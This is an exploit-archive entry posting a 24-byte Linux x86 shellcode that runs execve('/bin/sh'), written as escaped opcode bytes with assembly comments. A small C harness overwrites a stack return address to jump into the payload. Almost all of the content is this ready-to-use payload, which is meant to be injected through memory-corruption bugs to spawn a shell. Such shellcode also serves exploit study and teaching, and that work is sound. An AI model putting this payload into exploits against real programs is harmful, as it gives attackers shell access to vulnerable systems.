linux/x86 execve /bin/sh 24 bytes

2004-09-12T00:00:00
ID 1337DAY-ID-7092
Type zdt
Reporter Matias Sedalo
Modified 2004-09-12T00:00:00

Description

Exploit for linux/x86 platform in category shellcode

                                        
                                            =================================
linux/x86 execve /bin/sh 24 bytes
=================================




/* 
 * [email protected]
 * 
 * execve(/bin/sh).
 *
 * 24 bytes. es lo mas chica que se puede hacer.
 *
*/
char shellcode[]=
"\x31\xc0"                      // xorl         %eax,%eax
"\x50"                          // pushl        %eax
"\x68\x6e\x2f\x73\x68"          // pushl        $0x68732f6e
"\x68\x2f\x2f\x62\x69"          // pushl        $0x69622f2f
"\x89\xe3"                      // movl         %esp,%ebx
"\x99"                          // cltd
"\x52"                          // pushl        %edx
"\x53"                          // pushl        %ebx
"\x89\xe1"                      // movl         %esp,%ecx
"\xb0\x0b"                      // movb         $0xb,%al
"\xcd\x80"                      // int          $0x80
;

main() {
        int *ret;
        ret=(int *)&ret+2;
        printf("Shellcode lenght=%d\n",strlen(shellcode));
        (*ret) = (int)shellcode;
}



#  0day.today [2018-03-20]  #